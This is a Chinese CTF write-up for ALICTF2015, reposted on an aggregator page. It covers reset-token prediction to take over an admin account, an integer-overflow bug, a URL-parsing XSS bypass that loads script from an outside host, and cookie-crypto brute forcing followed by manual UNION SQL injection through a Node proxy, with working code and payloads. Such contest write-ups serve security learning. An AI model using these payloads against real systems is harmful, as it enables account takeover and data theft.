ALICTF2015 writeup(二)(第三排)
来源:互联网 发布:网线摄像头软件 编辑:程序博客网 时间:2024/06/06 07:35
业务逻辑和渗透
发现有好几种奇怪的特征,如可以以同样的用户名注册不同的密码,可以以 admin\s+
注册用户并登陆等等,故一直在这些业务逻辑上寻觅编程漏洞,然而一直没有什么收获。还发现可以直接找回admin\s*
的密码,但收不到找回密码的邮件。
查看找回密码 http://jinan.alictf.com/resetpass/index.php 源代码,发现页面底部给出了服务器时间和一串神秘的 key。
给出了时间,莫非是要猜测重设密码的 Reset token?reset token 可能和时间直接相关,也可能间接相关(如伪随机数)。先尝试简单的,与时间直接相关。
查看邮件中收到的 reset token,从长度来看是 md5,丢进 cmd5 破解发现并没有记录,于是尝试自行猜测这串 md5 的构造方法。
<?php$ord = [ [0, 1, 2], [0, 2, 1], [1, 0, 2], [1, 2, 0], [2, 1, 0], [2, 0, 1], [0, 1], [1, 0],];$opt = [ 'swx2', '1427621772', '673f3e705c8d5b7af675f309e58d46c9'];foreach ($ord as $order) { $concat = ''; foreach ($order as $i) { $concat .= $opt[$i]; } echo $concat."\t".md5($concat)."\n";}
手工构造了一些可能的组合,交给 PHP 运行,发现并不能匹配到 reset token。怀疑由于网络延迟关系时间戳不对,然而尝试修改时间戳到前后 3 秒仍然无法和 reset token 匹配。
翻阅邮件,发现找回密码的邮件发送时间实际上是这个时间戳的 5 秒前,于是修正时间戳再次尝试,成功匹配上了。匹配到的构造方式为:md5($username . $timestamp . $testKey)
。
于是申请 admin 的密码找回,然后按照该方式构造 md5,成功重设密码登录进去。
登录后提示不允许异地登陆…
那什么是异地呢?是不是从阿里巴巴所在的杭州连接就不是异地了呢?尝试利用阿里云杭州节点请求,发现仍然提示异地。想起来网页标题中提示了是山东省济南市的人才信息管理系统,遂寻找了一个山东济南的代理,挂上去之后成功登录获得了 flag。代码血案
该题给出了 cpp 源代码和一个服务端口。由于给出的服务端口仅允许提交 4 次 token,还不知道触发一次漏洞需要提交几次 token,因此自己架设了一个服务器进行实验。
阅读源代码,瞬间发现 socket_read_callback
中对 token 的处理存在漏洞:recv_request
中以buffer
的首字节作为长度读入 token,而check_token
中将 token 作为一个 NUL-terminated 字符串进行处理。然而环顾四周发现,这个漏洞无法利用。
rpc_readlog
中存在一个致命漏洞:if (len < 0) len = -len
。这样的代码一看就是作者故意留的漏洞:len
的类型为char
,当len
为 -128
时,-len
仍为 -128
。下面 malloc(len + SAFE_SPACE_LEN)
将会申请一个 2 字节的位于堆中的缓冲区并进行 readlog
。再看readlog
代码,使用了相同算法对 len
进行处理。通过实验和阅读代码,快速发现只要secretKey=c4852c706e64b5bc502b45c76392074c165a5f21e5aca3e6
、pos+len>=0
,并且log
中存在内容即可触发漏洞。构造 payload 提交到官方服务器获得 flag前端初赛题3
阅读代码可知,代码会以 URL 方式解析 URL 的 search 部分(这里称为 targetURL)。如果 targetURL 满足测试条件,则会以脚本方式加载这个 URL。显然,这里要让 targetURL 为自己的 XSS Script 地址。然而,代码中会测试 targetURL 的authority
部分是否为notexist.example.com
,因此这题实际上是要分析代码中的逻辑漏洞,绕过这些测试。
首先阅读 jQuery.getScript()
源码看看jQuery.getScript()
是否会对地址进行一些处理产生突破口。发现它实际上调用的是jQuery.ajax()
。继续分析代码,发现 jQuery 并没有对 URL 进行特殊处理等操作,(某些情况下简单地追加参数)直接传给了XMLHttpRequest
。
因此实际上我们需要构造特别的 URL,使得浏览器认为它是一个正确的 URL 成功加载 XSS 脚本,并通过代码中的检验。
阅读代码发现它特别判断了 username
和password
部分的正斜杠,这是一个线索。然而经过各种测试,均未能利用正斜杠对代码实现攻击。放弃正斜杠后,尝试构造畸形 URL。测试@
符号,发现当 URL 中存在多个@
时,Chrome 会将前面几个 @
符号编码,作为username
部分。显然代码中处理逻辑并不是这样。于是找到了突破口,构造 payload:
<code data-origin=""http://ef4c3e7556641f00.alictf.com/index2.php?http://hello@notexist.example.com:x@xss.re/7798">http://ef4c3e7556641f00.alictf.com/index2.php?http://hello@notexist.example.com:x@xss.re/7798
<code data-origin=""
成功绕过了脚本的 URL 检查,加载 XSS 脚本。<code data-origin=""
简单业务逻辑2
进入页面点击 Article 提示 Only Admin!
,应该是需要提权。在网页源代码中发现 encrypt
和decrypt
函数,分析后发现
<code data-origin="" encrypt(P)=md5(P)⊕R⊕V·R">encrypt(P)=md5(P)⊕R⊕V·R
<code data-origin=""
而
<code data-origin="" <code data-origin="" decrypt(C·R)=C⊕R⊕V">decrypt(C·R)=C⊕R⊕V
<code data-origin=""
<code data-origin="" 其中R为通过时间生成的md5序列。
<code data-origin="" <code data-origin="" <code data-origin="" decrypt(encrypt(P))=md5(P)">decrypt(encrypt(P))=md5(P)
<code data-origin=""
<code data-origin="" <code data-origin="" 发现名为 role
的 Cookie,其中包含长度与 encrypt
结果相同的值,而尝试 decrypt
后发现结果并不为仅包含 [0-9a-f]
的字符串。然而多次登录网站产生的不同 role
能 decrypt
出相同的内容,说明确实是 encrypt
产生的。观察算法,发现 V=md5('??????')
,看起来似乎需要爆破。
<code data-origin=""
<code data-origin="" <code data-origin="" 编写爆破代码并使用小集群进行破解。
<code data-origin="" <code data-origin="" <code data-origin="" var cluster = require('cluster');var crypto = require('crypto');var cookie = new Buffer('ZjZkPDRhYzRnYTM5bDdmNGFkYjI3a2NnMjg6YWZrMTtWUwEBVgJcAgYEBAYMUlJTUgYCUgABAQUEU1EBBwpWUg==', 'base64');var charset = '0123456789abcdefghijklmnopqrstuvwxyz';var numCPUs = 60;if (cluster.isMaster) { var a = 0, b = 0; function forkNew() { if (a < charset.length && b < charset.length) { cluster.fork({start: charset[a] + charset[b]}); if (++b >= charset.length) { b = 0; ++a; } } } for (var i = 0; i < numCPUs; ++i) { forkNew(); } cluster.on('exit', function(worker, code, signal) { if (worker.suicide) forkNew(); });} else { function decrypt(flag) { var md5 = crypto.createHash('md5'); md5.update(flag); var q = md5.digest('hex'); q += q.split('').reverse().join(''); for (var i = 0; i < 32; ++i) { var p = q.charCodeAt(i) ^ q.charCodeAt(i + 32) ^ cookie[i] ^ cookie[i + 32]; if ((p >= 48 && p <= 57) || (p >= 97 && p <= 102)) continue; return false; } return true; } var start = process.env['start']; console.log('Trying ' + start + '...'); for (var c = 0; c < charset.length; ++c) { for (var d = 0; d < charset.length; ++d) { for (var e = 0; e < charset.length; ++e) { for (var f = 0; f < charset.length; ++f) { var flag = start + charset[c] + charset[d] + charset[e] + charset[f]; if (decrypt(flag)) { console.log('Found flag: ' + flag); break; } } } } } console.log() cluster.worker.kill();}
<code data-origin="" <code data-origin="" <code data-origin="" node validate.js | tee log_file
<code data-origin=""
<code data-origin="" <code data-origin="" 发现数十个V能使 decrypt(role)
为仅包含 [0-9a-f]
的字符串。
<code data-origin=""
<code data-origin="" <code data-origin=""
<code data-origin=""
<code data-origin="" <code data-origin="" 其中当 V=md5('lanlan')
时,decrypt(role)=md5('Guest')
<code data-origin="" decrypt(cookie, 'lanlan') -> adb831a7fdd83dd1e2a309ce7591dff8">decrypt(cookie, 'lanlan') -> adb831a7fdd83dd1e2a309ce7591dff8cmd5(adb831a7fdd83dd1e2a309ce7591dff8) -> 'Guest'
<code data-origin=""
我们将 role
改为 encrypt('Admin')
,成功取得管理员权限进入 Article。
<code data-origin=""
屏幕中央写着 nothing in cookie!
,于是查看 Cookie,发现有一个 article cookie 内容是 php 下 serialize(1)
的结果 i:1;
。
<code data-origin=""
<code data-origin="" <code data-origin="" <code data-origin="" 尝试改成 serialize(0)
, serialize(2)
加载页面,发现会获得不同的内容。于是先随手写个程序枚举 0-200 看看有哪些内容:又获得提示,SQLInjection!
。
由于比较懒,所以想修改程序改成一个 bridge Server 供 SQLMap 自动化注入(将 GET 参数 serialize()
后放入 cookie 请求服务器,并返回结果):
var cookie = 'article=[--i--]; role=Mjc1bWVmMzBhNzk2ODBka2EwYTZkYjNlbjxjZWwyMGgGBVMOUVBdAVIBCAFTAQEEU1AGBAdQA1IJVgEECgRUDA; LoginState=.....; PHPSESSID=.....';var referer = 'http://cbcd512994370fc3d6a05eb9a73b31e9.alictf.com/dba8880fbcc025266576950828b2c4a7/index.php?token=....';var url = 'http://cbcd512994370fc3d6a05eb9a73b31e9.alictf.com/dba8880fbcc025266576950828b2c4a7/arrrrrrrrrrrticle.php?token=....';var request = require('request');var cheerio = require('cheerio');var express = require('express');var app = express();function serialize(...) { // see http://phpjs.org/functions/serialize/}app.get('/', function (req, res) { request.get(url, { headers: { cookie: cookie.replace('[--i--]', encodeURIComponent(serialize(req.query.article))), Host: 'cbcd512994370fc3d6a05eb9a73b31e9.alictf.com', Referer: referer, 'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.104 Safari/537.36', } }, function(err, response, body) { if (err) { console.log(err.stack); res.status(500).end(); return; } var $ = cheerio.load(body.toString()); var lead = $('.lead'); var text = lead.text(); res.end(text); });})var server = app.listen(3000, function () { var host = server.address().address; var port = server.address().port; console.log('listening at http://%s:%s', host, port);});
结果发现由于还过滤了左括号 SQLMap 无法自动化注入 :-(
只能手工注入了。
<code data-origin="" http://localhost:3000/?article=1000%20union%20select%201,%20table_name%20from%20information_schema.tables%20WHERE%20TABLE_TYPE=%22BASE%20TABLE%22%20LIMIT%20[i],1">http://localhost:3000/?article=1000%20union%20select%201,%20table_name%20from%20information_schema.tables%20WHERE%20TABLE_TYPE=%22BASE%20TABLE%22%20LIMIT%20[i],1
<code data-origin=""
写个代码从 0 到 100 枚举上述地址 [i]
部分从而获得所有表。
<code data-origin="" <code data-origin="" ...">...24 TABLE_PRIVILEGES25 TRIGGERS29 flag30 columns_priv31 db34 general_log35 help_category36 help_keyword33 func...
<code data-origin=""
<code data-origin="" 发现其中有一个叫 flag 的表,想必就是 flag 了…
<code data-origin="" <code data-origin="" <code data-origin="" http://localhost:3000/?article=1000%20union%20select%201,COLUMN_NAME%20from%20information_schema.COLUMNS%20WHERE%20TABLE_NAME=%22flag%22%20LIMIT%201">http://localhost:3000/?article=1000%20union%20select%201,COLUMN_NAME%20from%20information_schema.COLUMNS%20WHERE%20TABLE_NAME=%22flag%22%20LIMIT%201
<code data-origin=""
<code data-origin="" <code data-origin="" 查询到只有一个列叫做 flag。于是成功获得 flag。
<code data-origin="" <code data-origin="" <code data-origin="" 第三排的最后道 branch ====暂时无解 待续 如果有解法再放上来
- ALICTF2015 writeup(二)(第三排)
- 实验吧密码学WriteUp(二)
- 第三排
- 西普实验吧部分逆向题writeup(二)
- 倒排文件(二):多特征倒排文件
- MailBox writeup(step1)
- 生产排程相关知识(二)
- ISCC2014 Web(网络安全)Writeup
- CCTF 2016 WriteUp(部分)
- CTF考核writeup(1)
- CTF考核writeup(2)
- bugku misc writeup(部分)
- 第三届上海市大学生网络安全大赛 PWN200 WriteUp
- 【第三届蓝桥杯】巧排扑克牌
- 第三周作业(二)
- 第三章作业(二)
- 第三周总结(二)
- 第三方登录(二)
- 绝对值排序 HDU 2020
- 5B Center Alignment(字符串处理)
- Android初学需要了解的一些概念
- Fragment和Activity交互之actionbar
- 使用java代码构建android布局控件
- ALICTF2015 writeup(二)(第三排)
- IT运维服务是一个什么样子的情况?
- tomcat
- 悼念512汶川大地震遇难同胞——珍惜现在,感恩生活(多重背包)
- WebBrowser如何控制Frame下面的元素
- OC js 交互
- VMware一些坑
- 如何打一手好Log
- The EM Algorithm(EM算法)